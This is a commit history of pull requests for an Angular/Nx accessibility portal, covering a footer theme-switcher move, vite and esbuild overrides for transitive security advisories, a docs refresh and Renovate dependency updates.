### 2. Move `<app-theme-switcher>` from the header to the footer

The switcher now lives beside `<app-locale-switcher>` in a single **device-prefs cluster** on the right side of the footer. Two reasons:

- **Consistency across auth states.** The alternative — keep it in the header for anonymous, move it into the user-menu once authenticated — was the original temptation. Rejected: changing the location of an identical control depending on whether the user is signed in violates Jakob's law and breaks muscle memory. Especially bad for an a11y-first platform per [ADR-0016](docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md): a reader who relies on dark mode shouldn't have to expand a menu they don't yet recognise on first visit to escape a flashing white background.
- **Precedent.** [ADR-0019](docs/decisions/0019-internationalisation-angular-localize.md) already established the footer as the home for ambient device preferences (locale switcher). Theme is the obvious sibling — same family (per-device, non-identity).

### 3. Reshape the footer into two semantic clusters

```
[© APF France handicap  ·  Accessibility statement]              [locale  •  theme]
   ←——— info / legal ———→                                         ←—— device prefs ——→
```

The Accessibility statement link moves from the right cluster (where it sat alongside the locale switcher) to the left, joining the copyright with a typographic separator (`·`). Left = static info / legal anchor; right = interactive prefs the reader controls.

Keyboard order naturally follows: a Tab-traversal from the main content hits the informational anchor before the interactive controls — a small a11y win.

## What I left alone

- **`portal-admin`'s header / footer.** No theme switcher there in v1 (the admin chrome is brand-primary-600 hardcoded); no settings icon either. ADR-0020 explicitly trims that admin chrome relative to the user shell — nothing to align right now.
- **The user-menu's "Settings (Soon)" row.** That stays. PR 2 of the auth chantier ([#150](#150)) wired the row at the request of the chantier's staging; the Settings page itself lands in a future chantier and the row's pre-existing "Soon" badge keeps the affordance honest.

## Notes for the reviewer

- **Why not also a "Theme: <current>" hint inside the user-menu?** Considered, deferred. The current Hint would be ornament without a corresponding *target*; once the Settings page exists and the theme has a settings sub-section, a "Theme: System" line in the user-menu makes sense as a deep-link affordance. Not before.
- **Why a `·` text separator rather than a CSS border?** Border would force vertical alignment math (height, dark-mode color) for one line of footer text; a typographic mid-dot inherits text color, scales with the line, and is `aria-hidden` so screen readers don't read it as "middle dot". Smaller surface for one less moving piece.
- **A11y check**: the left cluster's `<nav aria-label="Legal">` is preserved verbatim (just moved into the left `<div>` rather than the right). The accessibility statement keeps the same focus styles, keyboard behavior, and routerLink target.

## Test plan

- [x] `pnpm nx test portal-shell` — **43 specs pass** (was 40; +3 net: dropped a Settings-button assertion + the "embeds theme switcher" header assertion swapped to its inverse, added two footer assertions for the theme switcher's new home + the cluster grouping).
- [x] `pnpm nx run-many -t lint test build --projects=portal-shell` — green.
- [x] `pnpm nx build portal-shell --configuration=production` — i18n-strict prod build passes, confirming the `header.action.settings` xlf removal didn't leave a dangling source-locale reference.
- [ ] **Manual visual smoke**: open `pnpm nx serve portal-shell` in a browser, confirm:
  - The Settings cog is gone from the header.
  - The theme-switcher (sun/moon chip) now lives at the bottom-right of the footer, beside the locale chip.
  - Bottom-left of the footer reads `© 2026 APF France handicap · Accessibility statement`, the dot being decorative (no link).
  - Tabbing from the main content lands first on the accessibility link, then on the locale switcher, then on the theme switcher.
  - Toggling the theme still works as before, and toggling it persists across navigations and reloads (the underlying ThemeService is untouched).

## Follow-ups (optional)

- The header still carries the global search form + notifications + help buttons. None of those are wired to live data yet — when they get real consumers, the equivalent "double-surface" check applies (is there a duplicate path in the user-menu? a redundant trigger?). For now the placeholder shapes are useful to anchor the layout.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #162
2026-05-16 01:14:36 +02:00
julien 2dbf2d8ce4 fix(docs): cap vite below 7 (rolldown-vite) and pin mermaid transitives (#161)
CI / check (push) Successful in 3m32s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m54s
CI / a11y (push) Successful in 3m7s
CI / perf (push) Successful in 4m54s
Docs site / build (push) Successful in 4m45s
## Summary

`pnpm docs:dev` failed after #159's transitive-vuln fix landed. Two distinct symptoms in the same log :

1. **VitePress refused to boot** — `VitePress v1 is not compatible with rolldown-vite. Use VitePress v2 instead.` The override added in #159 (`vite@<6.4.2 → >=6.4.2`) had no upper bound; pnpm resolved vitepress's `vite ^5.0.0` constraint up to **vite 7.3.2**, which uses the new rolldown bundler. VitePress 1.x explicitly rejects rolldown-vite.

2. **Resolution-warning flood** — Even on a fallback port, the console showed `Failed to resolve dependency: dayjs / debug / @braintree/sanitize-url / cytoscape / cytoscape-cose-bilkent` from `optimizeDeps.include`. The vitepress-plugin-mermaid wrapper injects those into the optimizer's include list, but under pnpm's strict isolation they aren't reachable from the workspace root (transitives of mermaid, never hoisted).

## What lands

### 1. Vite override is now an **unconditional** `>=6.4.2 <7` range

[`package.json`](package.json):

```diff
- "vite@<6.4.2": ">=6.4.2",
+ "vite": ">=6.4.2 <7",
```

The selector form (`vite@<6.4.2`) was a no-op once vite had resolved into 7.x — the override only activates when the resolved version is _in_ the vulnerable range. Vite 7 is ≥ 6.4.2, so the override stayed dormant and rolldown-vite slipped through.

The unconditional form forces a downgrade across every consumer (vitepress, `@nx/vite`, `@analogjs/vite-plugin-angular`, Vitest, etc.). All six top-level projects still lint, test, and build under vite 6.4.2.

**Trade-off acknowledged**: we're now pinning the whole workspace to vite 6.x to keep VitePress 1.x happy. The day VitePress 2 ships a 1.0 (currently in beta), we revisit and let vite advance again. Tracked as a soft follow-up.

### 2. `optimizeDeps.include` simplified to `['mermaid']`

[`docs/.vitepress/config.mts`](docs/.vitepress/config.mts):

```diff
- include: ['mermaid', 'dayjs', 'debug', '@braintree/sanitize-url'],
+ include: ['mermaid'],
```

Vite 6's dep optimizer walks Mermaid's transitives automatically once Mermaid itself is in `include`. The explicit child list from #157 was carried forward in the rolldown attempt and tripped on vite's stricter resolver — collapsing it now both removes the noise and matches what the plugin's docs recommend for vite 6.

### 3. Mermaid transitives pinned as top-level devDeps

[`package.json`](package.json):

```diff
+ "@braintree/sanitize-url": "^7.1.2",
+ "cytoscape": "^3.33.3",
+ "cytoscape-cose-bilkent": "^4.1.0",
+ "dayjs": "^1.11.20",
+ "debug": "^4.4.3",
```

These are already in `node_modules` (pulled in by mermaid). Declaring them at the workspace root makes them reachable from `optimizeDeps.include` under pnpm's strict isolation, which silences the five "Failed to resolve dependency" warnings the plugin's wrapper produced.

Cost: five extra devDep lines in `package.json` whose only purpose is to make the optimizer happy. Acceptable — they don't influence the resolved tree, just the resolver's reachability rules.

## Notes for the reviewer

- **Why not bump VitePress 1 → 2?** VitePress 2 is still beta. Per [CLAUDE.md](CLAUDE.md) §"Project rules": pre-1.0 dependencies and one-maintainer projects are rejected unless an ADR justifies the exception. ADR-0022 already records VitePress 1.6.4 as the chosen baseline; switching to a beta on the very first follow-up PR would burn the rationale.
- **Why an unconditional vite range, not a tighter selector?** The selector form (`vite@vulnerable-range → patched-range`) is the standard pattern when the parent dep's own range *includes* a patched version — pnpm picks it naturally and the override never fires. Here vite's 5.x branch was never patched (5.4.21 stayed vulnerable; vite team moved on to 6.x), so we need to force the downgrade from 7.x to 6.x regardless of the previous resolution. An unconditional override is the cleanest expression of that intent.
- **Why not extract the mermaid-transitive pins into the ADR-0022 trail?** They're plumbing for the plugin wrapper, not an architectural decision worth recording. If the plugin ships a fix that removes the include list, these can be removed without consequence. Pinning them is reversible.

## Test plan

- [x] `pnpm install` clean; lockfile changes reflect vite 6.4.2 across all consumers.
- [x] `pnpm audit --audit-level=moderate` — **No known vulnerabilities found**.
- [x] `pnpm docs:dev` — server boots cleanly on `:5173`, no warnings, home + ADR-0009 page return 200.
- [x] `pnpm docs:build` — clean build in ~9 s (back to Rollup-based timings; the rolldown 3.87 s we saw briefly was the incompatible path).
- [x] `pnpm exec nx run-many -t lint test --projects=portal-shell,portal-admin,portal-bff,shared-ui,shared-state,feature-auth` — 12/12 tasks green under the vite 6 downgrade.
- [x] `pnpm exec nx build portal-shell` — clean Angular production build; no Vite 6 incompatibility surfaced.
- [ ] **Manual smoke (visual)** — `pnpm docs:dev`, open `http://localhost:5173`, navigate to `/decisions/0009-…` and `/architecture`, confirm Mermaid diagrams render inline (this is the actual UX the user opened the issue on). Dark mode toggle still flips diagrams.

## Follow-ups (optional)

- When VitePress 2 reaches 1.0 (`vue/vitepress > releases`), revisit this override and let vite resume its mainline cadence.
- If the next Renovate cycle proposes a `cytoscape` / `dayjs` / `debug` major bump that VitePress 1.x can't keep up with, the pins above act as the safety net — Renovate will open a PR rather than silently break the dev server.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #161
2026-05-15 23:57:57 +02:00
julien e3a495ab46 docs(development): refresh after phase-3a + add topology / trace diagrams (#160)
CI / check (push) Successful in 2m5s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m50s
CI / a11y (push) Successful in 2m17s
CI / perf (push) Successful in 4m6s
Docs site / build (push) Successful in 2m23s
## Summary

`docs/development.md` drifted as `portal-admin` shipped, the docs site landed, Prisma stayed pinned at 6.x, and a fair chunk of the phase-2 "to come" roadmap quietly turned into "shipped". Surgical refresh of the affected sections + two Mermaid diagrams where prose alone wasn't carrying the cognitive load.

## What changed

### Section 1 — Repo layout

- `apps/portal-admin/` + `apps/portal-admin-e2e/` added (both exist on `main` since #134, were never reflected in the tree).
- `prisma.config.ts` removed (phantom — Prisma 6.x doesn't ship one). The "Prisma 7" tag corrected to "Prisma 6.x" with the [ADR-0006](docs/decisions/0006-persistence-postgresql-prisma.md) pin reference.
- `docs/index.md`, `docs/architecture.md`, `docs/.vitepress/` added.
- New workflows listed: `docs-site.yml`, `renovate.yml`.

### Section 3 — Initial setup, new diagram

Mermaid `flowchart` of the local-dev topology. Host-side dev servers (`portal-shell:4200`, `portal-admin:4300`, `portal-bff:3000`, `docs:5173`) ↔ Compose containers (Postgres, Redis, OTel) ↔ viewer profiles (Jaeger, pgweb). Replaces a ports/services context that was scattered across §3 and §5.

### Section 4 — Daily commands

- `portal-admin` added to serve / test / generate examples.
- Single-test-file recipe corrected: Nx's vitest executor rejects `--testFile` (we hit this empirically while debugging the sidebar spec for #151). The new wording recommends positional path for Vitest, `--testPathPattern=…` for Jest.
- **New "Documentation site" subsection** with the three commands (`docs:dev`, `docs:build`, `docs:preview`), plus the recipe for adding an ADR.

### Section 5 — Observability, new diagram

Mermaid `sequenceDiagram` showing how a click becomes a trace: browser `user_interaction` span → `traceparent` header → BFF span → Pino log line with matching `trace_id` → OTLP batch → Jaeger UI. Anchors the prose's "trace_id is the correlation point" rule with a visual.

### Section 6 — Renovate

New subsection **"Transitive vulnerabilities — `pnpm.overrides`"**. Documents the pattern from #159 so the next contributor hitting a transitive vuln (Renovate silent, dashboard empty) has the playbook on hand without re-discovering it.

### Section 9 — Sections to come

Restructured into two groups:

- **Code shipped — doc to write** (Auth dev-loop, session inspection, MFA step-up debugging, admin surface walkthroughs, audit-log workflow, downstream API recipe, OpenAPI/Scalar workflow, capabilities-driven SPA UX). The code is on `main`; only the prose is missing. Each entry now cites the PR(s) that landed the implementation.
- **Not yet** (component patterns library, a11y testing workflow, perf debugging, release workflow, GitLab migration runbook). Both code and doc still pending.

## Notes for the reviewer

- **Why diagrams now, not at the next chantier?** Two pieces of context were genuinely easier to grasp visually than as prose lists: the local-dev topology (which port goes where), and the trace-correlation flow. The other sections (Renovate, conventional commits, CI gates) already read well as tables — adding diagrams there would be ornament, not signal.
- **Why two diagrams rather than ten?** Per the user instruction "use diagrams when useful" — restraint applies. The two added are the ones that *replace* explanatory prose rather than add to it.
- **Why didn't I rewrite the "to come" roadmap from scratch?** The phase mapping was useful intent — kept the same structure, just moved entries between the two columns as code-shipping unlocked them. Future re-shuffles stay cheap.
- **The doc still has phase-1 framing in places** (e.g. the "this doc starts as a phase-1 reference" paragraph in §9). I left it — promoting the doc to "phase-3a reference" is a larger editorial pass than this refresh deserves; the new diagrams + section-9 split already do the practical work.
- **Open questions deferred to a future pass**: the §2 "Prerequisites" table doesn't mention the docs site (`pnpm docs:dev` adds nothing to the prereqs list — just Node + pnpm, both already required). Leaving the table as is.

## Test plan

- [x] `rm -rf docs/.vitepress/{cache,dist} && pnpm docs:build` — clean, 6.3 s.
- [x] Mermaid renders inside `docs/.vitepress/dist/development.html` — both new diagrams produce `class="mermaid"` markers. `grep -c 'class="mermaid"\|<svg' development.html` → **2**.
- [ ] Visual smoke: `pnpm docs:dev`, navigate to `/development`, confirm both diagrams render (topology with port labels readable, sequence diagram with the trace flow). Toggle dark mode, confirm diagrams flip theme.
- [ ] Spot-check the "Code shipped — doc to write" table — for any contributor reading this PR, do the PR-number citations match their memory of when each chantier landed? (`auth ≈ ADR-0009 series`, `admin ≈ #127, #128, #134, #136, #140–142`, `downstream ≈ #137–139`, `OpenAPI ≈ #143`, `capabilities ≈ #151`).

## What's next

The two largest "doc to write" entries (Auth dev-loop, Audit-log inspection workflow) are good candidates for the next docs chantier — both have shipped code, RSSI-relevant content, and would benefit from a guided walkthrough. Not blocking anything; pick when the team has bandwidth.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #160
2026-05-15 23:08:50 +02:00
APF Portal Bot a8f027f546 fix(deps): update dependency axios to v1.16.1 (#158)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m43s
CI / a11y (push) Successful in 1m54s
CI / check (push) Successful in 4m39s
CI / perf (push) Successful in 5m41s
Docs site / build (push) Successful in 1m59s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | patch | [`1.16.0` -> `1.16.1`](https://renovatebot.com/diffs/npm/axios/1.16.0/1.16.1) |

---

### Release Notes

<details>
<summary>axios/axios (axios)</summary>

### [`v1.16.1`](https://github.com/axios/axios/releases/tag/v1.16.1)

[Compare Source](https://github.com/axios/axios/compare/v1.16.0...v1.16.1)

#### v1.16.1 — May 13, 2026

This release ships a defence-in-depth fix for prototype pollution in `formDataToJSON`, hardens proxy and CI workflows, restores Webpack 4 compatibility for the fetch adapter, and includes several small bug fixes and maintenance improvements.

#### 🔒 Security Fixes

- **Prototype Pollution Defence-in-Depth:** Hardened `formDataToJSON` against already-polluted `Object.prototype` by walking own properties only, so attacker-controlled keys inherited from a poisoned prototype cannot propagate through deserialization. (**[#&#8203;7413](https://github.com/axios/axios/issues/7413)**)
- **Proxy Cleartext Leak:** Fixed an issue where HTTPS request data could be transmitted in cleartext to an HTTP proxy under certain configurations. (**[#&#8203;10858](https://github.com/axios/axios/issues/10858)**)
- **CI Cache Removal:** Removed all GitHub Actions caches as a defence-in-depth measure against cache poisoning vectors in the build pipeline. (**[#&#8203;10882](https://github.com/axios/axios/issues/10882)**)

#### 🐛 Bug Fixes

- **Data URI Parsing:** Updated the `fromDataURI` regex to match RFC 2397 more strictly, fixing edge cases in `data:` URL handling. (**[#&#8203;10829](https://github.com/axios/axios/issues/10829)**)
- **Unicode Headers:** Preserved Unicode header values when running through request interceptors, so non-ASCII header content is no longer corrupted before dispatch. (**[#&#8203;10850](https://github.com/axios/axios/issues/10850)**)
- **XHR Upload Progress:** Guarded against malformed `ProgressEvent` payloads emitted by some environments during XHR upload, preventing crashes when `loaded` / `total` are missing or invalid. (**[#&#8203;10868](https://github.com/axios/axios/issues/10868)**)
- **Webpack 4 Fetch Adapter:** Fixed an "unexpected token" error caused by syntax in the fetch adapter that Webpack 4 could not parse, restoring compatibility for legacy bundler users. (**[#&#8203;10864](https://github.com/axios/axios/issues/10864)**)
- **Type Definitions:** Made `parseReviver` `context.source` optional in the type definitions to align with the ES2023 specification. (**[#&#8203;10837](https://github.com/axios/axios/issues/10837)**)
- **URL Object Support Reverted:** Reverted the change that allowed passing a `URL` object as `config.url` (originally **[#&#8203;10866](https://github.com/axios/axios/issues/10866)**) due to regressions; this support will be reintroduced in a later release once the underlying issues are addressed. (**[#&#8203;10874](https://github.com/axios/axios/issues/10874)**)

#### 🔧 Maintenance & Chores

- **Cycle Detection Refactor:** Replaced the array-based cycle tracker in `toJSONObject` with a `WeakSet`, improving performance and memory behaviour on large nested structures. (**[#&#8203;10832](https://github.com/axios/axios/issues/10832)**)
- **composeSignals Cleanup:** Refactored `composeSignals` to use a clearer early-return structure, simplifying the cancellation/abort composition path. (**[#&#8203;10844](https://github.com/axios/axios/issues/10844)**)
- **AI Readiness & Repo Docs:** Added `AGENTS.md` and related contributor-guide updates for both human and AI agents, plus post-release documentation improvements. (**[#&#8203;10835](https://github.com/axios/axios/issues/10835)**, **[#&#8203;10841](https://github.com/axios/axios/issues/10841)**)
- **Docs Improvements:** Clarified the GET request example, fixed the interceptor `eject` example to reference the correct instance, and corrected the Buzzoid sponsor description in the README. (**[#&#8203;10836](https://github.com/axios/axios/issues/10836)**, **[#&#8203;10853](https://github.com/axios/axios/issues/10853)**, **[#&#8203;10856](https://github.com/axios/axios/issues/10856)**)
- **Sponsorship Tooling:** Fixed empty sponsor arrays in the sponsor processing script, added the ability to inject additional sponsors, updated the sponsorship link, and added a Twicsy advertisement entry. (**[#&#8203;10843](https://github.com/axios/axios/issues/10843)**, **[#&#8203;10859](https://github.com/axios/axios/issues/10859)**, **[#&#8203;10869](https://github.com/axios/axios/issues/10869)**)
- **Dependencies:** Bumped `@commitlint/cli` from 20.5.0 to 20.5.2. (**[#&#8203;10846](https://github.com/axios/axios/issues/10846)**)

#### 🌟 New Contributors

We are thrilled to welcome our new contributors. Thank you for helping improve axios:

- **[@&#8203;hpinmetaverse](https://github.com/hpinmetaverse)** (**[#&#8203;10836](https://github.com/axios/axios/issues/10836)**)
- **[@&#8203;tommyhgunz14](https://github.com/tommyhgunz14)** (**[#&#8203;7413](https://github.com/axios/axios/issues/7413)**)
- **[@&#8203;abhu85](https://github.com/abhu85)** (**[#&#8203;10829](https://github.com/axios/axios/issues/10829)**)
- **[@&#8203;divyanshuraj1095](https://github.com/divyanshuraj1095)** (**[#&#8203;10853](https://github.com/axios/axios/issues/10853)**)
- **[@&#8203;sagodi97](https://github.com/sagodi97)** (**[#&#8203;10856](https://github.com/axios/axios/issues/10856)**)
- **[@&#8203;rkdfx](https://github.com/rkdfx)** (**[#&#8203;10868](https://github.com/axios/axios/issues/10868)**)
- **[@&#8203;Liuwei1125](https://github.com/Liuwei1125)** (**[#&#8203;10866](https://github.com/axios/axios/issues/10866)**)

[Full Changelog](https://github.com/axios/axios/compare/v1.16.0...v1.16.1)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/158
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-15 22:38:43 +02:00
julien 779061660b chore(security): override vite + esbuild past vitepress's vulnerable transitives (#159)
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m46s
CI / scan (push) Successful in 2m4s
CI / a11y (push) Successful in 2m3s
Docs site / build (push) Successful in 3m44s
CI / perf (push) Successful in 3m59s
## Summary

Unblocks `pnpm ci:audit`. Two moderate vulnerabilities surfaced after the docs-site chantier (#154):

| Advisory | Package | Vulnerable | Patched | Path |
| --- | --- | --- | --- | --- |
| [GHSA-67mh-4wv8-2f99](https://github.com/advisories/GHSA-67mh-4wv8-2f99) | esbuild | ≤ 0.24.2 | ≥ 0.25.0 | `. > vitepress > vite > esbuild` |
| [GHSA-4w7w-66w2-5vf9](https://github.com/advisories/GHSA-4w7w-66w2-5vf9) | vite | ≤ 6.4.1 | ≥ 6.4.2 | `. > vitepress > vite` |

Both come from VitePress 1.6.4's pinned dep tree (`vite@5.4.21 → esbuild@0.21.5`). The rest of the workspace was already on vite 8.0.13 + esbuild 0.27.3 — only the VitePress branch was stuck on the vulnerable line.

## What lands

Two new entries in `package.json`'s existing `pnpm.overrides` block:

```json
"esbuild@<0.25.0": ">=0.25.0",
"vite@<6.4.2":     ">=6.4.2",
```

Same version-selector pattern as the other overrides already in the file (axios, follow-redirects, ip-address, …). The override only kicks in when the resolved version is in the vulnerable range, so it becomes a no-op the day the underlying dep ships a clean version of its own.

After `pnpm install`, the resolver picks **vite 7.3.2** + **esbuild 0.27.3** for the VitePress branch (the workspace's other vite consumers stay on 8.0.13, deduped on esbuild).

## Why couldn't we pin a patched vite 5.x?

The vite team did **not** backport the security fix to the 5.x line. `vite@5.4.22` is not published — the latest 5.x stays at 5.4.21, which is vulnerable. The only path forward is to let pnpm pick a patched 6.x or 7.x major. Verified that VitePress 1.6.4 still:

- builds cleanly (`pnpm docs:build` succeeds in ~4 s, down from 9 s on the older vite);
- renders Mermaid (regression fence in `.gitea/workflows/docs-site.yml` still grep-matches `class="mermaid"` / `<svg>` in ADR-0009's HTML);
- runs the dev server (`pnpm docs:dev` boots, the dayjs CJS-interop fix from #156 still applies for the same reason — Mermaid's CJS deps need pre-bundling regardless of vite major).

## Why didn't Renovate propose this PR itself?

The user reported that Renovate wasn't creating PRs for these advisories, not even listing them on the Dependency Dashboard.

**Root cause: both vite and esbuild are transitive dependencies** — declared by vitepress, not by us. Renovate's `vulnerabilityAlerts` flow handles **direct** package.json deps. For pnpm transitives, the remediation would have to land in `pnpm.overrides`, which the renovatebot/renovate:40 image doesn't write automatically.

Adjacent points:

- The Renovate workflow runs on a daily 03:00 UTC cron only (plus manual dispatch). If the user wants an immediate dashboard refresh now, the workflow accepts `workflow_dispatch` — fire it once from the Gitea Actions UI.
- After this PR merges, Renovate's dashboard should also stop flagging these advisories (the overrides count as remediation).
- Renovate config itself is unchanged — no `ignorePaths`, no exclude of vite/esbuild/vitepress. The silence was purely about the transitive-remediation gap, not a config bug.

## Test plan

- [x] `pnpm install` — clean, no peer warnings beyond the pre-existing `nestjs-prisma → chokidar` one.
- [x] `pnpm audit --audit-level=moderate` — **"No known vulnerabilities found"**.
- [x] `pnpm docs:build` — clean build in ~4 s.
- [x] Mermaid regression fence — `grep 'class="mermaid"' docs/.vitepress/dist/decisions/0009-…html` matches.
- [ ] `pnpm ci:audit` on CI — should now pass (the goal of this PR).
- [ ] Manual smoke: `pnpm docs:dev`, navigate to `/decisions/0009-…`, confirm the OIDC sequence diagram renders. Dark-mode toggle still flips theme.

## Follow-ups (optional)

- Trigger the Renovate workflow manually (Gitea Actions → Renovate → Run workflow) so the Dependency Dashboard refreshes against this overridden state.
- If we hit this transitive-remediation gap again, consider raising a `renovateConfig.transitiveRemediation` story or switching the workflow to `renovate/renovate:latest` — newer point releases sometimes ship better pnpm-overrides authoring. Not urgent.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #159
2026-05-15 22:18:07 +02:00
APF Portal Bot ed477aeb26 fix(deps): update dependency @scalar/nestjs-api-reference to v1.1.16 (#156)
CI / scan (push) Failing after 1m16s
CI / commits (push) Has been skipped
CI / a11y (push) Successful in 2m19s
CI / perf (push) Successful in 3m51s
Docs site / build (push) Successful in 3m41s
CI / check (push) Failing after 13m41s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@scalar/nestjs-api-reference](https://github.com/scalar/scalar) ([source](https://github.com/scalar/scalar/tree/HEAD/integrations/nestjs)) | dependencies | patch | [`1.1.14` -> `1.1.16`](https://renovatebot.com/diffs/npm/@scalar%2fnestjs-api-reference/1.1.14/1.1.16) |

---

### Release Notes

<details>
<summary>scalar/scalar (@&#8203;scalar/nestjs-api-reference)</summary>

### [`v1.1.16`](https://github.com/scalar/scalar/blob/HEAD/integrations/nestjs/CHANGELOG.md#1116)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #156
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-15 20:04:13 +02:00
julien d94df427a1 fix(docs): pre-bundle mermaid deps so the dev server resolves dayjs/cytoscape (#157)
CI / check (push) Successful in 1m6s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m15s
CI / a11y (push) Successful in 2m3s
CI / perf (push) Successful in 4m45s
Docs site / build (push) Successful in 3m19s
## Summary

`pnpm docs:dev` rendered a blank page with this thrown by the browser on the first navigation:

```
Uncaught SyntaxError: The requested module '/@fs/.../node_modules/.pnpm/dayjs@1.11.20/node_modules/dayjs/dayjs.min.js?v=…'
does not provide an export named 'default'
(at chunk-AGHRB4JF.mjs?v=…:9:8)
```

Root cause: Mermaid 11 (transitive dep of `vitepress-plugin-mermaid` shipped in #154) pulls in `dayjs`, `cytoscape`, `debug`, `@braintree/sanitize-url` — each ships a CommonJS `main` field with no `default` ESM export. Vite's dev server resolves these modules eagerly as ESM and the browser blows up before the home page renders.

The **production build was unaffected** — Rollup's plugin pipeline already wraps CJS deps for ESM consumers. `docs:build` shipped clean HTML in #154 and the CI Mermaid-fence (`grep class="mermaid"` in ADR-0009's HTML) passed precisely because it inspects the prod bundle, not the dev-server output.

## What lands

[`docs/.vitepress/config.mts`](docs/.vitepress/config.mts) — adds a single `vite.optimizeDeps.include` block:

```ts
vite: {
  optimizeDeps: {
    include: ['mermaid', 'dayjs', 'debug', '@braintree/sanitize-url'],
  },
},
```

`optimizeDeps.include` tells Vite to pre-bundle those modules through esbuild at dev-server boot, applying the same CJS→ESM interop wrapper Rollup uses in prod. The dev server now serves a working `localhost:5173` and Mermaid diagrams render.

## Notes for the reviewer

- **Why these four names specifically?** They are the Mermaid deps that ship CJS-only entrypoints. Adding `'mermaid'` alone is sometimes enough because Vite walks the dep tree, but the plugin's own README + a handful of upstream issue threads recommend listing the leaf CJS modules explicitly so the optimizer doesn't miss them on a cold cache. Cheap, defensive.
- **Why didn't the CI gate catch this?** The `Assert Mermaid renders` step in `.gitea/workflows/docs-site.yml` greps `docs/.vitepress/dist/` — the production-build output. The bug only manifests on the dev server's runtime-pre-bundling path. Catching it in CI would require booting `docs:dev` headlessly and curling the page; not worth the workflow weight for a once-per-major-upgrade class of issue. Manual `pnpm docs:dev` smoke is the right gate for now.
- **Why not bump dayjs / mermaid?** Dayjs's package shape is a long-standing upstream quirk (the `main` points at the UMD/CJS bundle); fixing it upstream would be a breaking change for non-bundler consumers. Mermaid upstream is aware; their fix has historically been "tell your bundler to pre-bundle us", which is exactly what `optimizeDeps.include` does.

## Test plan

- [x] `rm -rf docs/.vitepress/cache && pnpm docs:dev` — server boots, `curl http://localhost:5173/` returns 200.
- [x] `rm -rf docs/.vitepress/{cache,dist} && pnpm docs:build` — clean prod build in ~10 s, Mermaid SVG still present in ADR-0009's HTML (regression fence passes).
- [ ] Manual smoke: with the fix applied, navigate `localhost:5173` → home → `/decisions/0009-…` → confirm the OIDC sequence diagram renders inline, no console errors. Toggle dark mode, confirm diagrams flip theme.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #157
2026-05-15 20:03:29 +02:00
APF Portal Bot abdfb8e1f4 fix(deps): update angular (#155)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m44s
CI / check (push) Successful in 6m19s
CI / a11y (push) Successful in 3m23s
CI / perf (push) Successful in 7m22s
Docs site / build (push) Successful in 2m28s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@angular-devkit/core](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@angular-devkit%2fcore/21.2.10/21.2.11) |
| [@angular-devkit/schematics](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@angular-devkit%2fschematics/21.2.10/21.2.11) |
| [@angular/build](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@angular%2fbuild/21.2.10/21.2.11) |
| [@angular/cdk](https://github.com/angular/components) | dependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@angular%2fcdk/21.2.10/21.2.11) |
| [@angular/cli](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@angular%2fcli/21.2.10/21.2.11) |
| [@angular/common](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/common)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fcommon/21.2.12/21.2.13) |
